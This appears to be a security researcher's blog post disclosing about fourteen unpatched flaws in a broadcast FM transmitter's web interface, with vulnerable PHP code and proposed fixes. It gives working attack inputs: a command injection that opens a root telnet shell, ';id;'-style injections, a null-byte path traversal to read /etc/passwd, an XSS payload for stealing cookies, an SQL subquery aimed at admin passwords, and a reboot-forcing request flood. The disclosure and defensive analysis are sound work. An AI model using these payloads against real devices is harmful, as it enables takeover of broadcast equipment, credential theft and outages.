Quick Intro
As a electrical engineer and someone who’s a huge fan of electronics; I have been getting into finding commonly deployed edge/IoT devices in enterprise environment’s and having a quick field day testing them out : )
This research was done on the Mozart FM Transmitter web management interface on version WEBMOZZI-00287. The manufacturer/vendor can be found here: https://www.dbbroadcast.com/
Unfortunately I had tried to reach out to the vendor multiple times over a month as well having contacted their CTO on LinkedIn twice; in which they saw the message but offered no response.
I have discovered about 14 CVEs and likely more exist in the software as it is rather poorly made and its very concerning that the vendor supplies technology to major organizations like the United Nations and European governments.
CVE-01: Unrestricted File Upload (status_contents.php)
CWE-434 | Severity: High
The file /var/tdf/status_contents.php appears to contain an unrestricted/unauthenticated file upload vulnerability.
The Vulnerability
When inspecting the source code:
<?php
include_once "php_params.php";
function addnode($node,$val,$file) {
$stringData = "<".$node.">";
fwrite($file, $stringData);
fwrite($file, $val);
$stringData = "</".$node.">\n";
fwrite($file, $stringData);
}
if (isset($_POST['fileupload'])) {
if ($_FILES["file"]["size"] < 30000) {
if ($_FILES["file"]["error"] > 0) {
//echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
} else {
//echo "Upload: " . $_FILES["file"]["name"] . "<br />";
//echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
if (file_exists("/var/www/settings/" . $_FILES["file"]["name"])) {
//echo $_FILES["file"]["name"] . " already exists. ";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"],"/var/www/settings/" . $_FILES["file"]["name"]);
}
}
} else {
//echo "File too big.";
}
}
The vulnerable code is in Lines 12-29. The application utilizes $_POST['fileupload'], checking the file is under a certain size before then moving it onto to the destination directory. There is no implemented server-side extension validation (e.g., checking for .php vs .tgz), MIME type verification, or file header verification.
This means that while the endpoint is meant for uploading firmware files (which the vendor packages in .tgz file format), the endpoint isn’t actually enforcing that.
This directory becomes relevant later on as there’s an endpoint in which we can pass it file names from /var/www/settings and it then extracts them at the root of the file system : )
Client Side Security Check from Middle School
Interestingly, the developers did implement a file check, but placed it entirely in the client-side JavaScript:
if (filename.substring(filename.length-3, filename.length) != "tgz") {
alert("Invalid file.");
return;
}
The vendor implemented the extension check client side, which means that while if you generically wrote somefile.php you may hit a snag but, you can instead use Burp Suite to intercept the request with the compliant shell.tgz format and simply then change it back to php.
Related Note: Using file extension checks alone is not very secure. For example with Apache, one could use double extensions to bypass checking (file.php.tgz) or use null byte injection to further get around and break the regex present.
CVE-02: Path Traversal with Arbitrary File Deletion (status_contents.php)
CWE-22 | Severity: High
Continuing with the same endpoint, we pick up two more issues:
// status_contents.php (Lines 32-39)
if (isset($_POST['deletehidden'])) {
$filename="/var/www/settings/".$_POST['deletehidden'].".tgz";
if (file_exists($filename)) {
unlink($filename);
// Wait for the file to disappear
while (file_exists($filename)) {
}
}
}
The Vulnerability
The first issue is in how $filename is made up:
$filename="/var/www/settings/".$_POST['deletehidden'].".tgz";
The endpoint is vulnerable to path traversal with arbitrary delete because there is no sanitization (like basename()), meaning we can control the path.
By sending ../ sequences, we can traverse out of the /var/www/settings/ directory and specify an arbitrary directory due to the unsafe normalization of the user-controlled paths.
The code forces a .tgz extension at the end. The impact of that is while we can’t delete any file (like /etc/passwd), we can delete any archive file on the system that the web user has write access to.
If we send ../../../../var/log/syslog, the server interprets it as /var/www/settings/../../../../var/log/syslog.tgz
If that file exists and the web server has permission, it’s deleted. This isn’t the only thing however, as we are likely able to manipulate and break out of the appended file extension via some form of shell manipulation; however, that part has yet to be confirmed.
Proposed Fix
if (isset($_POST['deletehidden'])) {
// Fix 1: Use basename() to strip paths (../../)
$clean_name = basename($_POST['deletehidden']);
// Construct the safe path
$target_dir = "/var/www/settings/";
$filename = $target_dir . $clean_name . ".tgz";
// Check if file exists AND is actually a file (not a symlink/directory)
if (file_exists($filename) && is_file($filename)) {
// Fix 2: Check the return value of unlink.
// If it fails, log an error or exit. DO NOT LOOP.
if (unlink($filename)) {
// Success logic
} else {
// Error handling (e.g., permissions issue)
error_log("Failed to delete file: " . $filename);
}
}
}
The main approach we’ve taken here is using the basename() function, which ensures that we don’t end up following any path traversal. We also ensure that we don’t allow the breakout from the restricted directory.
CVE-03: Infinite Loop DoS via Failed File Deletion (status_contents.php)
CWE-835 | Severity: Medium
The “Infinite Loop” Denial of Service
This is to be honest is unexpected from a software ones paying for; youd expect first year CS students to do better : ( Look at the cleanup logic:
unlink($filename);
while (file_exists($filename)) {
// Spin until the file is gone
}
The developer likely added this loop to prevent a race condition, ensuring the file is truly deleted before the script continues.
The issue is that unlink() is not guaranteed to succeed based on our current setup.
If unlink() fails for example, because of file permissions or if we specified a file that is in the read-only segment of the file system, it returns FALSE and generates a warning, but the script continues.
The PHP process will now spin infinitely, pinning the CPU core to 100%. If an attacker sends 10 or 20 of these requests simultaneously, they will exhaust the server’s worker pool, rendering the web interface completely unresponsive.
CVE-04: Unauthenticated OS Command Injection (start_upgrade.php)
CWE-78 | Severity: Critical
Remote Code Execution via Firmware Update
The webserver implements an endpoint for controlling/triggering firmware updates. One of the relevant functions is start_upgrade.php:
<?php
exec("echo 'B=1'> /tmp/send_command.txt");
sleep(2);
exec("echo 'B=1'> /tmp/send_command.txt");
sleep(2);
exec("echo 'B=1'> /tmp/send_command.txt");
sleep(2);
exec("kill $(ps | grep mozzi_485 | awk 'NR==1 { print $1 }')");
exec('echo 0 > /tmp/upgrade.txt');
exec('echo 0 > /var/www/upgrade_level.txt');
exec('/opt/intel_hex_reader_32 /opt/erase_flash.hex');
sleep(6);
exec("kill $(ps | grep mozzi_485 | awk 'NR==1 { print $1 }')");
exec('/opt/intel_hex_reader_32 /var/www/upload/'.$_GET["filename"].' >/tmp/upgrade.txt');
//exec('sh -c /opt/dpm_manager.elf');
?>
Note: The above command was found/discovered to be commented out by the manufacturer.
The Vulnerability
The script takes the filename directly from the URL query string ($_GET["filename"]) and concatenates it directly without any sanitization/checking into a string passed to exec().
What this means is that controlling the value passed at the point of the GET request will be directly passed into the exec() function, which would execute shell code directly (and in our case presumably as root).
We can weaponize this in two different ways: using the ; or | operators, which would both allow us to smuggle commands in. There is something to note however with the fact that there’s a command after it which is redirecting to a file in /tmp. This would likely cause issues in the string command execution, and so what approach is needed is that we will have a command inserted AND then we will comment out everything after our command.
Exploitation
What we would then pass in that GET request would be something like:
exec(/opt/intel_hex_reader_32 /var/www/upload/nothing| telnetd -p 1337 -l /bin/sh|# >/tmp/upgrade.txt)
We would then have a telnet listener set up and ready for us to access on localhost. Of course, this is just a demo and one can get creative as long as you remember that the file system is read-only except in a select few places like /var/volatile etc.
Proposed Fix
To fix the command injection, we must ensure the user input is treated only as a string, not as a command. We do this since we know that the user should never give us anything other than a filename for us to run.
A fix would look something along the lines of:
// We should get it individually passed to be able to appropriately process
$user_file = $_GET["filename"];
// Sanitize the filename (removes .. / and null bytes)
$clean_name = basename($user_file);
// Escape the argument for the shell (turns ; into \;)
$safe_arg = escapeshellarg("/var/www/upload/" . $clean_name);
// Safe Execution
exec("/opt/intel_hex_reader_32 " . $safe_arg . " >/tmp/upgrade.txt");
The approach loosely follows:
- Not taking the direct value into the exec statement but instead keeping it in a variable for cleaning
- Clean the filename given to make sure that no path traversal or null byte injections are passing through
- Using the PHP
escapeshellarg()function to prevent injection. Note thatescapeshellarg()andescapeshellcmd()are made for sh/bash respectively and may not properly work on other shells - Bring it all together to execute the needed process for upgrading the firmware :)
CVE-05: Arbitrary File Deletion (upgrade_contents.php)
CWE-73 | Severity: High
The frontend logic for this function lives in upgrade_contents.php, which itself suffers from an arbitrary delete that, unlike the previous investigated endpoint, does not enforce any file extension restrictions.
// upgrade_contents.php (Lines 8-13)
if (isset($_POST['deleteupgrade'])) {
if (file_exists("/var/www/upload/".$_POST['deleteupgrade'])) {
unlink("/var/www/upload/".$_POST['deleteupgrade']);
}
}
The vulnerability identified here follows the same issue as in the previous endpoint while just not appending any file extension, achieving unrestricted and unauthenticated arbitrary file delete.
CVE-06: Unsigned Firmware Upload (upgrade_contents.php)
CWE-345 | Severity: High
upgrade_contents.php exposes another unrestricted file upload vulnerability. In this case, it’s in regards to firmware upgrades (providing an interface to upload new firmware). Just like in the previous instances, we can see that no form of verification is done on the arguments provided in the file upload POST request as well as no enforcement of the file type.
if (isset($_POST['fileupload'])) {
if ($_FILES["file"]["size"] < 1000000) {
if ($_FILES["file"]["error"] > 0) {
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
} else {
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
if (file_exists("/opt/upload/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"],"/var/www/upload/" . $_FILES["file"]["name"]);
}
}
} else {
echo "File too big.";
}
}
$files = array();
$x=0;
exec('cp /opt/null.txt /tmp/upgrade.txt');
if ($handle = opendir('/var/www/upload')) {
while (false !== ($file = readdir($handle))) {
if (($file!=".") && ($file!="..")) {
$files[$x]=$file;
$x=$x+1;
}
The firmware updates are known to be tgz files, and so the code should enforce via header byte analysis the requirement of only tgz files being uploaded. The vendor also should have enforced a signing check for added security, such that any uploaded files are checked for not just file type format but also appropriate signing signatures.
CVE-07 & CVE-08: Unrestricted Upload + Arbitrary Delete (patch_contents.php)
CWE-434 & CWE-73 | Severity: High & Medium
If It’s Broken Once, It’s Probably Broken Twice
Continuing with our unrestricted file uploads, we can see that in endpoint patch_contents.php is another unauthenticated file upload issue, which is consistent with the issues identified with the other files:
<?php
include_once "php_params.php";
if (isset($_POST['deletepatch'])) {
if (file_exists("/var/www/patch/".$_POST['deletepatch'])) {
unlink("/var/www/patch/".$_POST['deletepatch']);
}
}
if (isset($_POST['fileupload'])) {
if ($_FILES["file"]["size"] < 16000000) {
if ($_FILES["file"]["error"] > 0) {
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
} else {
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
if (file_exists("/opt/upload/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"],"/var/www/patch/" . $_FILES["file"]["name"]);
}
}
} else {
echo "File too big.";
}
}
We can also see the same issue as we have identified prior with the fact that the delete operation will also occur with attacker-controlled parameters alongside the problematic upload endpoints.
CVE-09: Stored XSS via XML Injection (patch_contents.php)
CWE-79 | Severity: Medium
A slightly quirky vulnerability found in patch_contents.php has to do with the way in which our files get stored in the system. When looking at the relevant code snippet here:
// patch_contents.php (Line 54)
$stringData = "<file".($i+1).">".$files[$i]."</file".($i+1).">\n";
fwrite($fh, $stringData);
The endpoint uses string concatenation on our attacker-controlled filename and then transforms that to be inserted into the patchlist.xml file. The file appears to just be a record holder of sorts for patches that have been executed on the device.
Due to the setup in which our filename is directly inserted and since we have unrestricted upload and control over the filename, we can achieve XML poisoning or stored XSS vulnerability.
Instead of the expected:
<response>
<file1>update_v1.tgz</file1>
</response>
What we could end up getting away with is:
<response>
<file1><img src=x onerror=alert('Hacked')>.bin</file1>
</response>
A trivial payload, but in reality what we would do is steal cookies/authentication tokens via document.cookie, we could implement a keylogger (though unclear how effective that would be given the context of the endpoint), or perform actions via CSRF on behalf of the user who’s viewing the page (such as more RCE :3).
This file would be rendered and the stored XSS activated every time the ajax.js process loads it and it’s interacted with.
CVE-10: Authenticated Root Remote Code Execution through improper filtering of HTTP post request parameters (main_ok.php)
CWE-290 | Severity: Critical
Self-DoS
Looking at the main entry point (a file aptly named /var/tdf/main1.php), the first thing that sticks out is an unbelievable self-DoS.
In lines 32-39 we see this snippet of code that is almost unreal:
$connection = pg_connect("host=localhost port=5432 dbname=test");
if (!$connection) {
$error = "Unable to connect to daemon...";
print $error;
shell_exec("reboot");
return;
}
The server will initiate a reboot operation if it can’t initiate a database connection on the PostgreSQL instance running.
It’s pretty trivial to then just:
- Send 100 simultaneous requests to the login page
- If PostgreSQL hits
max_connections, the nextpg_connect()fails - The PHP script executes
reboot - Profit?
This is a pretty poor design flaw and one I wouldn’t even know how to begin addressing. If the PostgreSQL daemon isn’t working, then the service itself should be restarted instead of the whole system, and no less in a trivial way in which a remote attacker could trigger.
Hard-Coded Credentials
Ignoring the fact that we find multiple hard-coded passwords present in the file:
$result = pg_exec($connection, $command);
if (pg_num_rows($result)) {
$password=pg_result($result, 0, 0);
if ($current_username!="guest") {
if ($current_username!=pg_result($result, 0, 1)) {
$password="skdjfkjsdkfsakfsahdjksa";
}
}
}
As well as here:
date_default_timezone_set('UTC');
$log_text="";
$user="";
$cookie="";
$connection = pg_connect("host=localhost port=5432 dbname=test");
$just_logged=0; //Serve quando nella pagina login
$password="slkdfklsadf";
The Real Issue: Unauthenticated command injection as root via data command
In the final function present in main.php:
<?php
if (isset($_POST['rr'])) {
if (trim($_POST['rr']) == "TIME") {
// echo "SET TIME ".trim($_POST['hour']).":".trim($_POST['minute']).":".trim($_POST['second']);
echo "";
// date -s "2003-01-22 12:48:00"
$d = 'date -s "20' . trim($_POST['year']) . '-' . trim($_POST['month']) . '-' . trim($_POST['day']) . ' ' . $t = trim($_POST['hour']) . ':' . trim($_POST['minute']) . ':' . trim($_POST['second']) . '" > /dev/null';
$qw = shell_exec($d);
// echo "<script type=\"text/javascript\"> window.location.reload(true); </script>";
}
}
?>
As we seen from above, if the post request provided by the user contains is equal to TIME, then it will build off using our POST supplied data, a command that is directly passed into shell_exec to set the specified date/time.
With using the data command to set a new system date/time then it either must be setuid(highly unlikely) or that the process is running as root. To exploit this, we need to figure out a way to break out of the commands.
Since we did do this via source code review, we had to improvise a bit and simulate the process as shown in the exploitation segment below. This is very badly written code and while you may be mistaken in thinking this is some open source passion project; this firmware is found right now in the German federal government, BBC Radio, The United Nations, and CNBC among other clientele the company has supplied these devices to.
Exploitation
Keeping in mind the use of the trim command and the delicate formatting needed to maintain validatory of the command; we need to thread a tad bit carefully.
Compared to every other command injection or remote code execution vulnerability found in the code, this one is the one I couldnt say with any certainity was valid without testing. To that effect I simply copied the whole function and hardcoded the relevan values as if you would have sent them via a POST request.
I then incoperatored output to be able to test and experiment with the commands until I managed to get the appropriate injection running. Using the below php script:
<?php
$_POST['rr'] = 'TIME';
$_POST['year'] = '"; id; #'; // we will place our injection point here
$_POST['month'] = '01';
$_POST['day'] = '01';
$_POST['hour'] = '12';
$_POST['minute'] = '00';
$_POST['second'] = '00';
// Original vulnerable code
if (isset($_POST['rr'])) {
if (trim($_POST['rr']) == "TIME") {
// echo "SET TIME ".trim($_POST['hour']).":".trim($_POST['minute']).":".trim($_POST['second']);
echo "";
// date -s "2003-01-22 12:48:00"
$d = 'date -s "20' . trim($_POST['year']) . '-' . trim($_POST['month']) . '-' . trim($_POST['day']) . ' ' . $t = trim($_POST['hour']) . ':' . trim($_POST['minute']) . ':' . trim($_POST['second']) . '" > /dev/null';
echo $d . PHP_EOL;
echo PHP_EOL;
echo "Result:" . PHP_EOL;
$qw = shell_exec($d);
echo $qw;
// echo "<script type=\"text/javascript\"> window.location.reload(true); </script>";
}
}
?>
We can then simply run this on our bash terminal via php and observe how we successfully injected into it. We didn’t change anything other than just hardcoding the variables since we wanted to execute it locally.
When we inject "; id; # into the year parameter, PHP concatenates it directly into the command string without any sanitization. The constructed command becomes: date -s "20"; id; #-01-01 12:00:00" > /dev/null. Here’s what happens:
-
The
"closes the original date string early, ending thedatecommand’s argument. -
The
;acts as a command separator in the shell, allowing us to execute our own command (id). -
Finally, the
#comments out everything after it (the rest of the malformed date parameters and the redirect), preventing syntax errors.
This means the shell actually executes three things in each order from right to left: date -s "20" (which fails but doesn’t stop execution), id, and everything after # is commented out prevent earlier than intended command/error termination.

CVE-11: PostgreSQL SQL Injection (status_sql.php)
CWE-89 | Severity: High
The application uses PostgreSQL as its database format of choice. To that extent, it implements an endpoint, status_sql.php, which is in charge of connecting the frontend we observe with the backend database.
The code snippets relevant to us are found here:
// status_sql.php (Lines 33-36)
if(isset($_POST["Update"])){
$sw1=$params["Switch1"];
$sw2=$params["Switch2"];
// The values supplied by the user in read_params are directly passed in
$command = "UPDATE test_sql SET sw1=".$sw1.", sw2=".$sw2." WHERE id=0";
$result = pg_exec($connection, $command);
}
The code takes $sw1 and $sw2 (which come from user input via read_params()) and puts them directly into the SQL query string. There is no pg_escape_string() and no parameterized query being done.
There is another thing to note: this is a PostgreSQL database after all. Unlike MySQL, PHP’s pg_exec typically does not support “Stacked Queries” (executing multiple commands separated by ;). So we probably can’t do ; DROP TABLE users. Which does limit impact and raise difficulty of compromise slightly.
Potential Exploitation via Subqueries
I will admit that I am not fully certain this would work or that this is correct; however, since we are inside an UPDATE statement, we can potentially use the injected value to copy data from other tables into the sw1 or sw2 columns.
For argument’s sake (and because I’m not certain this is right), let’s say we want to set sw2 to be the result of a subquery.
Variable sw2 input: (SELECT password FROM users WHERE username='admin')
The resultant query would thus far look something along the lines of:
UPDATE test_sql SET sw1=1, sw2=(SELECT password FROM users WHERE username='admin') WHERE id=0
The reason why we would otherwise want to do this is since we know that it would print the result onto the screen or store it in a JS object that’s accessible to us based on the code in line 24:
print "switch_2(".$sw2.",NO_EXECUTE);";
Error-Based Disclosure
A slightly related issue is error-based disclosure, as we can see in the code here:
if (!$result) {
$error[] = "SQL Command failed: $command";
}
The full error messages are taken from the database and directly provided to you on the screen. This means we can sort of get an assisted layup as we can observe any format/syntax errors to build out our exploit query.
Proposed Fix
The fix here is, as always with SQL, the use of parameterized queries. In our case, the deployed fix would look something along the lines of:
// 1. Create a template with placeholders ($1, $2)
$query = "UPDATE test_sql SET sw1=$1, sw2=$2 WHERE id=0";
// 2. Send the data separately
$result = pg_query_params($connection, $query, array($sw1, $sw2));
By using pg_query_params, the database treats $sw1 and $sw2 strictly as data, never as executable code. Even if I try to send (SELECT password...), the database will just save that literal string into the column (or throw a type error), but it will never execute it.
CVE-12 & CVE-13: Command Injection + Tar Path Traversal (restore_settings.php)
CWE-78 & CWE-22 | Severity: Critical
More Unauthenticated Bad News
The webserver exposes an endpoint called restore_settings.php, which does not require authentication to reach. The code can be seen here alongside its helper shell script:
<?php
exec('/opt/restore_mozzi_memories.sh '.urldecode($_GET["name"]));
sleep(1);
if (file_exists("/tmp/memory_1.xml")) {
$header = "Content-Type:text/plain";
header($header);
readfile("/tmp/memory_1.xml");
}
?>
And the helper script it invokes is:
#!/bin/sh
/bin/tar -x -Z -f /var/www/settings/$1.tgz -C /
This endpoint and its helper script introduce two problems. The first being that a simple unauthenticated GET request to the endpoint will allow us to perform command injection from an unauthenticated perspective.
CVE-12: Command Injection
Addressing the first issue, as we can see from the code above, it URL-decodes whatever was in the name parameter and passes it to the exec() function. As we did earlier, we can easily convert this into command injection via using ; or | operators. It would thus look something along the lines of:
http://[TARGET]/var/tdf/restore_settings.php?name=;id;
Which would result in the interpretation like:
exec('/opt/restore_mozzi_memories.sh ;id;')
CVE-13: Arbitrary File Overwrite via Tar Extraction
The second issue has to do with the shell helper script. By being able to control the filename and the fact that we have already shown that we can perform unauthenticated arbitrary file uploads, we can cause the helper script to extract our uploaded file and control where it will deposit the file to. A reminder for it here:
#!/bin/sh
/bin/tar -x -Z -f /var/www/settings/$1.tgz -C /
The -C / flag tells tar to change the directory to the root of the filesystem (/) before extracting. It then would lead that if you upload a malicious .tgz file (using the upload vulnerability we found earlier) that contains a file named etc/passwd or var/www/index.php, it will overwrite the system files. We can direct it to overwrite the files present in the volatile segments of the file system to overwrite the passwd file, etc.
CVE-14: Arbitrary File Read via Null Byte Injection (download_setting.php)
CWE-158 | Severity: High
Arbitrary File Download and Read
The webserver exposes an endpoint configured to allow you to download specific settings via download_setting.php. The endpoint is set up to take a parameter for a filename and appends .tgz to it before serving it for the user to download.
A relevant note before proceeding: Before version 5.3.4, PHP did not sanitize user input for null bytes before passing it to C functions. This created a discrepancy between what PHP thought the filename was and what the operating system actually read.
The code that implements this can be seen:
<?php
header("Content-Type: application/octet-stream");
header('Content-Disposition: attachment; filename="'.$_GET['filename'].'.tgz"');
readfile("/var/www/settings/".$_GET['filename'].".tgz");
?>
The developer forces the .tgz extension. If I try to access /etc/passwd, the code turns it into /var/www/settings/../../../../etc/passwd.tgz. Since that file doesn’t exist, the attack fails.
But because this device is running PHP 5.3.2, we can use null byte injection, which will then allow us to break out of the constraints imposed via the file extension.
The underlying C-based filesystem functions interpret that null byte as a strict “End of String” terminator. Consequently, when the application passes the reconstructed path /var/www/settings/../../../../etc/passwd\0.tgz, the OS will effectively ignore everything after the null byte before interpretation, which consequently will cause the developer-imposed file extension to be discarded.
Exploitation
With that, we achieve the ability to read/download any file via the endpoint without authentication.
Example: GET /var/tdf/download_setting.php?filename=../../../../etc/passwd%00
Additional Findings
Unauthenticated Log Manipulation (send_command.php)
In the tdf/send_commands.php endpoint:
<?php
include_once "php_params.php";
include_once "status_sql.php";
$var_array=$_GET["var"];
$val_array=$_GET["val"];
$ack_code=$_GET["ackcode"];
$assign_symbol="=";
$number_of_commands=count($var_array);
if (isset($_GET["notsave"])) {
$assign_symbol=":";
}
$stringData="";
$myFile = "/tmp/send_command.txt";
for ($i = 0; $i < $number_of_commands; $i++) {
$t=time();
while ((file_exists($myFile)) && ((time()-$t)<2)) {
}
if ($i==$number_of_commands-1) {
$assign_symbol="=";
}
$fh = fopen($myFile, 'w');
$stringData = $var_array[$i].$assign_symbol.$val_array[$i]." ";
fwrite($fh, $stringData);
fclose($fh);
}
sleep (1);
$myFile = "/tmp/ack_code.txt";
$fh = fopen($myFile, 'w');
$stringData = $ack_code."\n";
fwrite($fh, $stringData);
fclose($fh);
if ($var_array[0]=='j') {
exec('/var/www/log/reset_log.sh');
}
?>
We point out a pretty subtle but problematic snippet: when the user-controlled var_array variable has j in its first index, there’s a script that executes. The script reset_log.sh is provided here:
$ cat var/www/log/reset_log.sh
cp /var/www/log/events_log_0.xml /tmp/events_log_tmp.xml
Due to the ultimate lack of authentication on the endpoint and the fact that we control the variable that would trigger the logic, we could simply perform the specified GET request and trigger the log manipulation:
GET /send_command.php?var[]=j
Insecure IPC via World-Writable Files
The other interesting feature the send_command.php endpoint exposes is the fact that it appears that the system uses IPC to communicate between processes as well as the fact that a world-writable directory appears to be in use.
When we saw here:
$myFile = "/tmp/send_command.txt";
for ($i = 0; $i < $number_of_commands; $i++) {
$t=time();
while ((file_exists($myFile)) && ((time()-$t)<2)) {
It indicates that there is writing to “staging files” that other processes are reading and writing to. The vulnerability here is ultimately: it’s operating out of an unsafe directory and allows for users to hijack and manipulate the file, either remotely or locally.